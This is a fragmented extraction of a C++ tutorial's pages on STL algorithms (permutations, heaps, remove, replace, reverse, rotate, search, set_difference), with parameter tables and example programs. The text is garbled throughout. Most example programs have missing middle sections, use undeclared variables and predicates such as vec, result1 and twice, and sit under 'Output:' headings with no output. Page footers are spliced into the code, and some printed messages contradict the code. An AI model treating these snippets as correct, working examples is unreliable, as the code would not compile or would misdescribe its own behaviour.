- The return value is true if the lexicographically previous permutation exists and has replaced the
original ordering of the range; otherwise false, in which case the ordering is transformed into the
lexicographically largest permutation.
- The range referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- The default binary predicate is less than and the elements in the range must be less-than comparable to
ensure that the next permutation is well defined.
- The complexity is linear, with at most (_Last – _First)/2 swap.
//algorithm, prev_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 10, ci2 = 15, ci3 = 20;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator d1_Iter;
deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);
www.tenouk.com Page 36 of 40
<<"exist\nand the lexicographically "
<<"smallest permutation\nhas replaced the "
<<"original ordering of the sequence in deq1."<<endl;
int i;
for(i = -4; i <= 4; i++)
vec.push_back(i);
int j = 1;
while (j <= 5)
{
prev_permutation(vec.begin(), vec.end(), mod_lesser);
cout<<"After another prev_permutation() of vector vec,\nvec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
j++;
}
return 0;
}
Output:
www.tenouk.com Page 37 of 40
//*******algoiterswap.cpp*******
//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;
deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);
cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;
www.tenouk.com Page 38 of 40
int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);
int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);
iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}
//******algopartition.cpp*******
//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
//user defined...
bool great(int value)
{return value >3;}
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
www.tenouk.com Page 39 of 40
cout<<*Iter1<<" ";
cout<<endl;
www.tenouk.com Page 40 of 40
MODULE 36
--THE STL--
ALGORITHM PART IV
Note: Compiled using Microsoft Visual C++ .Net, win32 empty console mode application. g++ compilation
examples given at the end of this Module.
Abilities
push_heap()
- Adds an element that is at the end of a range to an existing heap consisting of the prior elements in the
range.
template<class RandomAccessIterator>
void push_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class BinaryPredicate>
void push_heap(
RandomAccessIterator _First,
RandomAccessIterator _Last,
BinaryPredicate _Comp
);
Parameters
Parameter Description
_First A random-access iterator addressing the position of the first element in the heap.
A random-access iterator addressing the position one past the final element in the
_Last
range to be converted into a heap.
User-defined predicate function object that defines sense in which one element is
_Comp less than another. A binary predicate takes two arguments and returns true when
satisfied and false when not satisfied.
Table 36.1
- The element must first be pushed back to the end of an existing heap and then the algorithm is used to
add this element to the existing heap. Repeat again, heaps have two properties:
- Heaps are an ideal way to implement priority queues and they are used in the implementation of the
STL container adaptor priority_queue Class.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The range excluding the newly added element at the end must be a heap.
- The complexity is logarithmic, requiring at most log (_Last – _First) comparisons.
//algorithm, push_heap()
//make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
www.tenouk.com Page 1 of 32
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
random_shuffle(vec1.begin(), vec1.end());
cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end());
cout<<"The default reheaped vec1 with data added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"\npush_back()..."<<endl;
vec1.push_back(0);
cout<<"The greater than heap vec1 with 13 pushed back is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater than reheaped vec1 with 13 added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}
Output:
www.tenouk.com Page 2 of 32
random_shuffle()
template<class RandomAccessIterator>
void random_shuffle(
RandomAccessIterator _First,
RandomAccessIterator _Last
);
template<class RandomAccessIterator, class RandomNumberGenerator>
void random_shuffle(
RandomAccessIterator _First,
RandomAccessIterator _Last,
RandomNumberGenerator& _Rand
);
Parameters
Parameter Description
A random-access iterator addressing the position of the first element in the range to
_First
be rearranged.
A random-access iterator addressing the position one past the final element in the
_Last
range to be rearranged.
_Rand A special function object called a random number generator.
Table 36.2
- The two versions (refer to the templates) of the function differ in how they generate random numbers.
- The first version uses an internal random number generator and the second a random number generator
function object that is explicitly passed and can accept a seed value.
//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
www.tenouk.com Page 3 of 32
vector <int>::iterator Iter1;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}
Output:
remove()
- Eliminates a specified value from a given range without disturbing the order of the remaining elements
and returning the end of a new range free of the specified value.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range from
_First
which elements are being removed.
A forward iterator addressing the position one past the final element in the range
_Last
from which elements are being removed.
_Val The value that is to be removed from the range.
Table 36.3
www.tenouk.com Page 4 of 32
- The return value is a forward iterator addressing the new end position of the modified range, one past
the final element of the remnant sequence free of the specified value.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality.
- The list Class class has a more efficient member function version of remove(), which also re-links
pointers.
//algorithm, remove()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(8);
random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 random shuffle data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
remove_copy()
www.tenouk.com Page 5 of 32
- Copies elements from a source range to a destination range, except that elements of a specified value
are not copied, without disturbing the order of the remaining elements and returning the end of a new
destination range.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the range from
_First
which elements are being removed.
An input iterator addressing the position one past the final element in the range
_Last
from which elements are being removed.
An output iterator addressing the position of the first element in the destination
_Result
range to which elements are being removed.
_Val The value that is to be removed from the range.
Table 36.4
- The return value is a forward iterator addressing the new end position of the destination range, one past
the final element of the copy of the remnant sequence free of the specified value.
- The source and destination ranges referenced must be valid; all pointers must be de-referenceable and
within the sequence the last position is reachable from the first by incrementation.
- There must be enough space in the destination range to contain the remnant elements that will be
copied after elements of the specified value are removed.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments.
//algorithm, remove_copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(10);
vector <int>::iterator Iter1, Iter2, new_end;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
www.tenouk.com Page 6 of 32
cout<<"Vector vec1 is left unchanged as:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
remove_copy_if()
- Copies elements from a source range to a destination range, except that satisfying a predicate are not
copied, without disturbing the order of the remaining elements and returning the end of a new
destination range.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the range
_First
from which elements are being removed.
An input iterator addressing the position one past the final element in the
_Last
range from which elements are being removed.
An output iterator addressing the position of the first element in the
_Result
destination range to which elements are being removed.
The unary predicate that must be satisfied is the value of an element is to be
_Pred
replaced.
Table 36.5
- The return value is a forward iterator addressing the new end position of the destination range, one past
the final element of the remnant sequence free of the elements satisfying the predicate.
- The source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position is reachable from the first by incrementation.
- There must be enough space in the destination range to contain the remnant elements that will be
copied after elements of the specified value are removed.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments.
//algorithm, remove_copy_if()
#include <vector>
www.tenouk.com Page 7 of 32
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(14);
vector <int>::iterator Iter1, Iter2, new_end;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
remove_if()
- Eliminates elements that satisfy a predicate from a given range without disturbing the order of the
remaining elements and returning the end of a new range free of the specified value.
Parameters
www.tenouk.com Page 8 of 32
Parameter Description
A forward iterator pointing to the position of the first element in the range
_First
from which elements are being removed.
A forward iterator pointing to the position one past the final element in the
_Last
range from which elements are being removed.
The unary predicate that must be satisfied is the value of an element is to
_Pred
be replaced.
Table 36.6
- The return value is a forward iterator addressing the new end position of the modified range, one past
the final element of the remnant sequence free of the specified value.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not removed remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality.
- List has a more efficient member function version of remove which re-links pointers.
//algorithm, remove_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;
int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(4);
random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
www.tenouk.com Page 9 of 32
replace()
Parameters
Parameter Description
A forward iterator pointing to the position of the first element in the range from
_First
which elements are being replaced.
A forward iterator pointing to the position one past the final element in the range
_Last
from which elements are being replaced.
_OldVal The old value of the elements being replaced.
_NewVal The new value being assigned to the elements with the old value.
Table 36.7
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not replaced remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.
//algorithm, replace()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
www.tenouk.com Page 10 of 32
replace (vec1.begin( ), vec1.end( ), 3, 23);
replace (vec1.begin( ), vec1.end( ), 7, 77);
replace (vec1.begin( ), vec1.end( ), 0, 21);
Output:
replace_copy()
- Examines each element in a source range and replaces it if it matches a specified value while copying
the result into a new destination range.
Parameters
Parameter Description
An input iterator pointing to the position of the first element in the range from which
_First
elements are being replaced.
An input iterator pointing to the position one past the final element in the range from
_Last
which elements are being replaced.
An output iterator pointing to the first element in the destination range to where the
_Result
altered sequence of elements is being copied.
_OldVal The old value of the elements being replaced.
_NewVal The new value being assigned to the elements with the old value.
Table 36.8
- The value return is an output iterator pointing to the position one past the final element in the
destination range to where the altered sequence of elements is being copied.
- The source and destination ranges referenced must not overlap and must both be valid: all pointers
must be de-referenceable and within the sequences the last position is reachable from the first by
incrementation.
- The order of the elements not replaced remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.
//algorithm, replace_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
www.tenouk.com Page 11 of 32
{
vector <int> vec1;
list <int> lst1 (15);
vector <int>::iterator Iter1;
list <int>::iterator lstIter;
int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);
random_shuffle(vec1.begin(), vec1.end());
int k;
for (k = 0; k <= 15; k++)
vec1.push_back(1);
cout<<"The original random shuffle vector vec1 with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"The list copy lst1 of vec1 with the value 0 replacing the 7 is:\n";
for(lstIter = lst1.begin(); lstIter != lst1.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
}
Output:
replace_copy_if()
- Examines each element in a source range and replaces it if it satisfies a specified predicate while
copying the result into a new destination range.
www.tenouk.com Page 12 of 32
Parameters
Parameter Description
An input iterator pointing to the position of the first element in the range
_First
from which elements are being replaced.
An input iterator pointing to the position one past the final element in the
_Last
range from which elements are being replaced.
An output iterator pointing to the position of the first element in the
_Result
destination range to which elements are being copied.
The unary predicate that must be satisfied is the value of an element is to
_Pred
be replaced.
The new value being assigned to the elements whose old value satisfies
_Val
the predicate.
Table 36.9
- The source and destination ranges referenced must not overlap and must both be valid: all pointers
must be de-referenceable and within the sequences the last position is reachable from the first by
incrementation.
- The order of the elements not replaced remains stable.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear; there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.
//algorithm, replace_copy_if()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
list <int> lst1 (13);
vector <int>::iterator Iter1;
list <int>::iterator lstIter1;
int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);
random_shuffle(vec1.begin(), vec1.end());
int k;
for(k = 0; k <= 13; k++)
vec1.push_back(3);
cout<<"The original random shuffle vector vec1 data with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
www.tenouk.com Page 13 of 32
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"A list copy of vector vec1 with the value -8\n replacing "
<<"those greater than 5 is:\n";
for(lstIter1 = lst1.begin(); lstIter1 != lst1.end(); lstIter1++)
cout<<*lstIter1<<" ";
cout<<endl;
}
Output:
replace_if()
Parameters
Parameter Description
A forward iterator pointing to the position of the first element in the range from
_First
which elements are being replaced.
An iterator pointing to the position one past the final element in the range from
_Last
which elements are being replaced.
The unary predicate that must be satisfied is the value of an element is to be
_Pred
replaced.
The new value being assigned to the elements whose old value satisfies the
_Val
predicate.
Table 36.10
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The order of the elements not replaced remains stable.
- The algorithm replace_if() is a generalization of the algorithm replace(), allowing any
predicate to be specified, rather than equality to a specified constant value.
- The operator== used to determine the equality between elements must impose an equivalence
relation between its operands.
- The complexity is linear: there are (_Last – _First) comparisons for equality and at most
(_Last – _First) assignments of new values.
//algorithm, replace_if()
www.tenouk.com Page 14 of 32
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for (i = 1; i <= 10; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 2; j++)
vec1.push_back(8);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
Output:
reverse()
template<class BidirectionalIterator>
void reverse(
BidirectionalIterator _First,
BidirectionalIterator _Last
);
Parameters
Parameter Description
A bidirectional iterator pointing to the position of the first element in the range
_First
within which the elements are being permuted.
A bidirectional iterator pointing to the position one past the final element in the
_Last
range within which the elements are being permuted.
Table 36.11
- The source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position is reachable from the first by incrementation.
www.tenouk.com Page 15 of 32
//algorithm, reverse()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 11; i <= 20; i++)
vec1.push_back(i);
Output:
reverse_copy()
- Reverses the order of the elements within a source range while copying them into a destination range
Parameters
Parameter Description
A bidirectional iterator pointing to the position of the first element in the source
_First
range within which the elements are being permuted.
A bidirectional iterator pointing to the position one past the final element in the
_Last
source range within which the elements are being permuted.
An output iterator pointing to the position of the first element in the destination
_Result
range to which elements are being copied.
Table 36.12
- The return value is an output iterator pointing to the position one past the final element in the
destination range to where the altered sequence of elements is being copied.
- The source and destination ranges referenced must be valid; all pointers must be de-referenceable and
within the sequence the last position is reachable from the first by incrementation.
//algorithm, reverse_copy()
#include <vector>
#include <algorithm>
www.tenouk.com Page 16 of 32
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(11);
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 10; i <= 20; i++)
vec1.push_back(i);
Output:
rotate()
template<class ForwardIterator>
void rotate(
ForwardIterator _First,
ForwardIterator _Middle,
ForwardIterator _Last
);
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
rotated.
A forward iterator defining the boundary within the range that addresses the position
_Middle of the first element in the second part of the range whose elements are to be
exchanged with those in the first part of the range.
A forward iterator addressing the position one past the final element in the range to
_Last
be rotated.
Table 36.13
- The ranges referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- The complexity is linear with at most (_Last – _First) swaps.
www.tenouk.com Page 17 of 32
//algorithm, rotate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter1;
int i;
for(i = -4; i <= 4; i++)
vec1.push_back(i);
int j;
for(j = -3; j <= 3; j++)
deq1.push_back(j);
//Let rotates...
rotate(vec1.begin(), vec1.begin() + 3, vec1.end());
cout<<"After rotating, vector vec1 data is: ";
for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;
//Let rotates…
int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate(deq1.begin(), deq1.begin() + 1, deq1.end());
cout<<"Rotation of a single deque element to the back,\n deq1 is: ";
for(deq1Iter1 = deq1.begin(); deq1Iter1 != deq1.end(); deq1Iter1++)
cout<<*deq1Iter1<<" ";
cout<<endl;
k++;
}
}
Output:
www.tenouk.com Page 18 of 32
rotate_copy()
- Exchanges the elements in two adjacent ranges within a source range and copies the result to a
destination range.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
rotated.
A forward iterator defining the boundary within the range that addresses the position
_Middle of the first element in the second part of the range whose elements are to be
exchanged with those in the first part of the range.
A forward iterator addressing the position one past the final element in the range to be
_Last
rotated.
_Result An output iterator addressing the position of the first element in the destination range.
Table 36.14
- The return value is an output iterator addressing the position one past the final element in the
destination range.
- The ranges referenced must be valid; all pointers must be dereferenceable and within the sequence the
last position is reachable from the first by incrementation.
- The complexity is linear with at most (_Last – _First) swaps.
//algorithm, rotate_copy()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(9);
deque <int> deq1, deq2(6);
vector <int>::iterator vec1Iter, vec2Iter;
deque<int>::iterator deq1Iter, deq2Iter;
int i;
for(i = -3; i <= 5; i++)
vec1.push_back(i);
int j;
for(j =0; j <= 5; j++)
deq1.push_back(j);
www.tenouk.com Page 19 of 32
cout<<"\nThe original deque deq1 is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate_copy(deq1.begin(), deq1.begin() + 1, deq1.end(), deq2.begin());
cout<<"Rotation of a single deque element to the back,\n a deque copy, deq2 is: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;
k++;
}
}
Output:
search()
- Searches for the first occurrence of a sequence within a target range whose elements are equal to those
in a given sequence of elements or whose elements are equivalent in a sense specified by a binary
predicate to the elements in the given sequence.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to
_First1
be searched.
A forward iterator addressing the position one past the final element in the
_Last1
range to be searched.
www.tenouk.com Page 20 of 32
A forward iterator addressing the position of the first element in the range to
_First2
be matched.
A forward iterator addressing the position one past the final element in the
_Last2
range to be matched.
User-defined predicate function object that defines the condition to be satisfied
_Comp if two elements are to be taken as equivalent. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 36.15
- The return value is a forward iterator addressing the position of the first element of the first
subsequence that matches the specified sequence or that is equivalent in a sense specified by a binary
predicate.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The ranges referenced must be valid; all pointers must be de-referenceable and within each sequence
the last position is reachable from the first by incrementation.
- Average complexity is linear with respect to the size of the searched range, and worst case complexity
is also linear with respect to the size of the sequence being searched for.
//algorithm, search()
//compiled with some type conversion
//warning…
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst1;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst1_Iter, lst1_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 4; j <= 5; j++)
lst1.push_back(5*j);
int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);
www.tenouk.com Page 21 of 32
if(result1 == vec1.end())
cout<<"There is no match of lst1 in vec1."<<endl;
else
cout<<"There is at least one match of lst1 in vec1"
<<"\nand the first one begins at "
<<"position "<< result1 - vec1.begin( )<<endl;
//Searching vec1 for a match to lst1 under the binary predicate twice
vector <int>::iterator result2;
result2 = search(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst1 in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are equivalent\nto those in vec2 under the binary "
<<"predicate twice\nand the first one begins at position "
<<result2 - vec1.begin()<<endl;
}
Output:
search_n()
- Searches for the first subsequence in a range that of a specified number of elements having a particular
value or a relation to that value as specified by a binary predicate.
Parameters
Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First1
searched.
A forward iterator addressing the position one past the final element in the range to
_Last1
be searched.
_Count The size of the subsequence being searched for.
_Val The value of the elements in the sequence being searched for.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two
arguments and returns true when satisfied and false when not satisfied.
Table 36.16
www.tenouk.com Page 22 of 32
- The return value is a forward iterator addressing the position of the first element of the first
subsequence that matches the specified sequence or that is equivalent in a sense specified by a binary
predicate.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The range referenced must be valid; all pointers must be de-referenceable and within the sequence the
last position is reachable from the first by incrementation.
- Complexity is linear with respect to the size of the searched.
//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}
Output:
www.tenouk.com Page 23 of 32
set_difference()
- Unites all of the elements that belong to one sorted source range, but not to a second sorted source
range, into a single, sorted destination range, where the ordering criterion may be specified by a binary
predicate.
Parameters
Parameter Description
An input iterator addressing the position of the first element in the first
_First1 of two sorted source ranges to be united and sorted into a single range
representing the difference of the two source ranges.
An input iterator addressing the position one past the last element in the
_Last1 first of two sorted source ranges to be united and sorted into a single
range representing the difference of the two source ranges.
An input iterator addressing the position of the first element in second
_First2 of two consecutive sorted source ranges to be united and sorted into a
single range representing the difference of the two source ranges.
An input iterator addressing the position one past the last element in
_Last2 second of two consecutive sorted source ranges to be united and sorted
into a single range representing the difference of the two source ranges.
An output iterator addressing the position of the first element in the
_Result destination range where the two source ranges are to be united into a
single sorted range representing the difference of the two source
ranges.
User-defined predicate function object that defines the sense in which
one element is greater than another. The binary predicate takes two
_Comp
arguments and should return true when the first element is less than the
second element and false otherwise.
Table 36.17
- The return value is an output iterator addressing the position one past the last element in the sorted
destination range representing the difference of the two source ranges.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and within
each sequence the last position must be reachable from the first by incrementation.
www.tenouk.com Page 24 of 32
- The destination range should not overlap either of the source ranges and should be large enough to
contain the destination range.
- The sorted source ranges must each be arranged as a precondition to the application of the
set_difference() algorithm in accordance with the same ordering as is to be used by the
algorithm to sort the combined ranges.
- The operation is stable as the relative order of elements within each range is preserved in the
destination range. The source ranges are not modified by the algorithm merge.
- The value types of the input iterators need be less-than-comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the nonequivalent elements.
- When there are equivalent elements in both source ranges, the elements in the first range precede the
elements from the second source range in the destination range.
- If the source ranges contain duplicates of an element such that there are more in the first source range
than in the second, then the destination range will contain the number by which the occurrences of
those elements in the first source range exceed the occurrences of those elements in the second source
range.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.
//algorithm, set_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
